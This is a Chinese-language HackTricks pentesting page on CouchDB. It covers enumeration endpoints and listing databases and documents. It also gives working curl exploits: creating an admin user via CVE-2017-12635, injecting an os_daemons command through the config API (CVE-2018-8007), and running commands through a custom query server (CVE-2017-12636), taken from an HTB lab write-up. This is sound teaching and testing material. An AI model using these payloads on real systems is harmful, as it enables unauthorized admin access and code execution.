# 5984,6984 - Pentesting CouchDB {{#include ../banners/hacktricks-training.md}} ## **基本信息** **CouchDB** 是一个多功能且强大的 **文档导向数据库**,通过 **键值映射** 结构在每个 **文档** 中组织数据。文档中的字段可以表示为 **键/值对、列表或映射**,提供了数据存储和检索的灵活性。 存储在 CouchDB 中的每个 **文档** 都被分配一个 **唯一标识符** (`_id`)。此外,对数据库所做的每次修改和保存都会分配一个 **修订号** (`_rev`)。这个修订号允许高效的 **变更跟踪和管理**,便于在数据库中轻松检索和同步数据。 **默认端口:** 5984(http),6984(https) ``` PORT STATE SERVICE REASON 5984/tcp open unknown syn-ack ``` ## **自动枚举** ```bash nmap -sV --script couchdb-databases,couchdb-stats -p msf> use auxiliary/scanner/couchdb/couchdb_enum ``` ## 手动枚举 ### 横幅 ``` curl http://IP:5984/ ``` 这会向已安装的CouchDB实例发出GET请求。回复应该类似于以下内容之一: ```bash {"couchdb":"Welcome","version":"0.10.1"} {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} ``` > [!NOTE] > 请注意,如果访问 couchdb 的根目录时收到 `401 Unauthorized`,并且内容类似于 `{"error":"unauthorized","reason":"Authentication required."}` **您将无法访问** 横幅或任何其他端点。 ### 信息枚举 这些是您可以通过 **GET** 请求访问并提取一些有趣信息的端点。您可以在 [**couchdb 文档中找到更多端点和更详细的描述**](https://docs.couchdb.org/en/latest/api/index.html)。 - **`/_active_tasks`** 正在运行的任务列表,包括任务类型、名称、状态和进程 ID。 - **`/_all_dbs`** 返回 CouchDB 实例中所有数据库的列表。 - **`/_cluster_setup`** 返回节点或集群的状态,按照集群设置向导。 - **`/_db_updates`** 返回 CouchDB 实例中所有数据库事件的列表。使用此端点需要 `_global_changes` 数据库的存在。 - **`/_membership`** 显示作为 `cluster_nodes` 的集群节点。字段 `all_nodes` 显示此节点所知道的所有节点,包括属于集群的节点。 - **`/_scheduler/jobs`** 复制作业列表。每个作业描述将包括源和目标信息、复制 ID、最近事件的历史记录以及其他一些内容。 - **`/_scheduler/docs`** 复制文档状态列表。包括有关所有文档的信息,即使在 `completed` 和 `failed` 状态下。对于每个文档,它返回文档 ID、数据库、复制 ID、源和目标以及其他信息。 - **`/_scheduler/docs/{replicator_db}`** - **`/_scheduler/docs/{replicator_db}/{docid}`** - **`/_node/{node-name}`** `/_node/{node-name}` 端点可用于确认处理请求的服务器的 Erlang 节点名称。当访问 `/_node/_local` 以检索此信息时,这最为有用。 - **`/_node/{node-name}/_stats`** `_stats` 资源返回一个 JSON 对象,包含正在运行的服务器的统计信息。字面字符串 `_local` 作为本地节点名称的别名,因此对于所有统计 URL,`{node-name}` 可以替换为 `_local`,以与本地节点的统计信息进行交互。 - **`/_node/{node-name}/_system`** \_system 资源返回一个 JSON 对象,包含正在运行的服务器的各种系统级统计信息。您可以使用 \_\_`_local` 作为 {node-name} 来获取当前节点信息。 - **`/_node/{node-name}/_restart`** - **`/_up`** 确认服务器已启动、正在运行并准备响应请求。如果 [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) 为 `true` 或 `nolb`,则该端点将返回 404 响应。 - **`/_uuids`** 从 CouchDB 实例请求一个或多个通用唯一标识符 (UUID)。 - **`/_reshard`** 返回已完成、失败、正在运行、已停止和总作业的计数,以及集群上重新分片的状态。 可以提取更多有趣的信息,如此处所述:[https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) ### **数据库列表** ``` curl -X GET http://IP:5984/_all_dbs ``` 如果该请求**返回401未授权**,那么您需要一些**有效凭据**来访问数据库: ``` curl -X GET http://user:password@IP:5984/_all_dbs ``` 为了找到有效的凭据,你可以**尝试** [**暴力破解服务**](../generic-hacking/brute-force.md#couchdb)。 这是一个couchdb **响应** 的**示例**,当你拥有**足够的权限**来列出数据库时(这只是一个数据库列表): ```bash ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"] ``` ### 数据库信息 您可以通过访问数据库名称来获取一些数据库信息(如文件数量和大小): ```bash curl http://IP:5984/ curl http://localhost:5984/simpsons #Example response: {"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"} ``` ### **文档列表** 列出数据库中的每个条目 ```bash curl -X GET http://IP:5984/{dbname}/_all_docs curl http://localhost:5984/simpsons/_all_docs #Example response: {"total_rows":7,"offset":0,"rows":[ {"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}}, {"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}}, {"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}}, {"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}}, {"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}}, {"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}}, {"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}} ]} ``` ### **读取文档** 读取数据库中文档的内容: ```bash curl -X GET http://IP:5984/{dbname}/{id} curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9 #Example response: {"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"} ``` ## CouchDB 权限提升 [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) 由于 Erlang 和 JavaScript JSON 解析器之间的差异,您可以通过以下请求**创建一个管理员用户**,凭据为 `hacktricks:hacktricks`: ```bash curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json" ``` [**关于此漏洞的更多信息在这里**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html)。 ## CouchDB RCE ### **Erlang Cookie 安全概述** 示例 [来自这里](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)。 在 CouchDB 文档中,特别是在有关集群设置的部分 ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)),讨论了 CouchDB 在集群模式下使用的端口。提到与独立模式一样,端口 `5984` 被使用。此外,端口 `5986` 用于节点本地 API,重要的是,Erlang 需要 TCP 端口 `4369` 用于 Erlang 端口映射守护进程 (EPMD),以促进 Erlang 集群内的节点通信。此设置形成了一个网络,其中每个节点与其他所有节点相互连接。 关于端口 `4369` 的一个重要安全建议被强调。如果此端口在互联网上或任何不受信任的网络上可访问,系统的安全性在很大程度上依赖于一个称为“cookie”的唯一标识符。这个 cookie 充当了一个保护措施。例如,在给定的进程列表中,可能会观察到名为“monster”的 cookie,指示其在系统安全框架中的操作角色。 ``` www-data@canape:/$ ps aux | grep couchdb root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b ``` 对于那些有兴趣了解如何在Erlang系统中利用这个“cookie”进行远程代码执行(RCE)的人,提供了一个专门的部分供进一步阅读。它详细说明了如何以未经授权的方式利用Erlang cookies 来控制系统。您可以[**在这里探索关于滥用Erlang cookies 进行RCE的详细指南**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)。 ### **通过修改 local.ini 利用 CVE-2018-8007** 示例[来自这里](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)。 最近披露的漏洞CVE-2018-8007影响了Apache CouchDB,研究表明,利用该漏洞需要对`local.ini`文件的写权限。尽管由于安全限制,无法直接应用于初始目标系统,但进行了修改以授予对`local.ini`文件的写访问权限以供探索。下面提供了详细的步骤和代码示例,演示了该过程。 首先,通过确保`local.ini`文件可写来准备环境,通过列出权限进行验证: ```bash root@canape:/home/homer/etc# ls -l -r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini -rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini -r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk -r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args ``` 要利用该漏洞,执行一个 curl 命令,目标是 `local.ini` 中的 `cors/origins` 配置。这会在 `[os_daemons]` 部分注入一个新的来源以及额外的命令,旨在执行任意代码: ```bash www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf" ``` 后续验证显示在 `local.ini` 中注入的配置,并与备份进行对比以突出变化: ```bash root@canape:/home/homer/etc# diff local.ini local.ini.bk 119,124d118 < [cors] < origins = 0xdf < [os_daemons] < test_daemon = /usr/bin/touch /tmp/0xdf ``` 最初,预期的文件(`/tmp/0xdf`)不存在,这表明注入的命令尚未执行。进一步调查显示,与CouchDB相关的进程正在运行,其中一个可能会执行注入的命令: ```bash root@canape:/home/homer/bin# ps aux | grep couch ``` 通过终止识别出的CouchDB进程并允许系统自动重启它,触发了注入命令的执行,这通过之前缺失文件的存在得到了确认: ```bash root@canape:/home/homer/etc# kill 711 root@canape:/home/homer/etc# ls /tmp/0xdf /tmp/0xdf ``` 此探索确认在特定条件下利用CVE-2018-8007的可行性,特别是对`local.ini`文件的可写访问要求。提供的代码示例和程序步骤为在受控环境中复制该漏洞提供了清晰的指南。 有关CVE-2018-8007的更多详细信息,请参阅mdsec的公告:[CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)。 ### **在local.ini上具有写权限的CVE-2017-12636探索** 示例[来自这里](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)。 一个被称为CVE-2017-12636的漏洞被探索,该漏洞通过CouchDB进程启用代码执行,尽管特定配置可能会阻止其利用。尽管在线上有许多概念验证(POC)参考,但在CouchDB版本2上利用该漏洞需要进行调整,这与常见的目标版本1.x不同。初始步骤包括验证CouchDB版本并确认预期查询服务器路径的缺失: ```bash curl http://localhost:5984 curl http://0xdf:df@localhost:5984/_config/query_servers/ ``` 为了适应CouchDB 2.0版本,使用了一个新路径: ```bash curl 'http://0xdf:df@localhost:5984/_membership' curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers ``` 尝试添加和调用新的查询服务器时遇到了与权限相关的错误,如以下输出所示: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` 进一步调查显示,`local.ini` 文件存在权限问题,无法写入。通过使用 root 或 homer 访问权限修改文件权限后,可以继续进行: ```bash cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b chmod 666 /home/homer/etc/local.ini ``` 后续尝试添加查询服务器成功,响应中没有错误消息证明了这一点。通过文件比较确认了对 `local.ini` 文件的成功修改: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` 该过程继续创建一个数据库和一个文档,然后尝试通过映射到新添加的查询服务器的自定义视图执行代码: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/df' curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}' curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' ``` 一个[**总结**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)与替代有效载荷提供了在特定条件下利用CVE-2017-12636的进一步见解。**有用资源**用于利用此漏洞包括: - [POC exploit code](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py) - [Exploit Database entry](https://www.exploit-db.com/exploits/44913/) ## Shodan - `port:5984 couchdb` ## References - [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) - [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) {{#include ../banners/hacktricks-training.md}}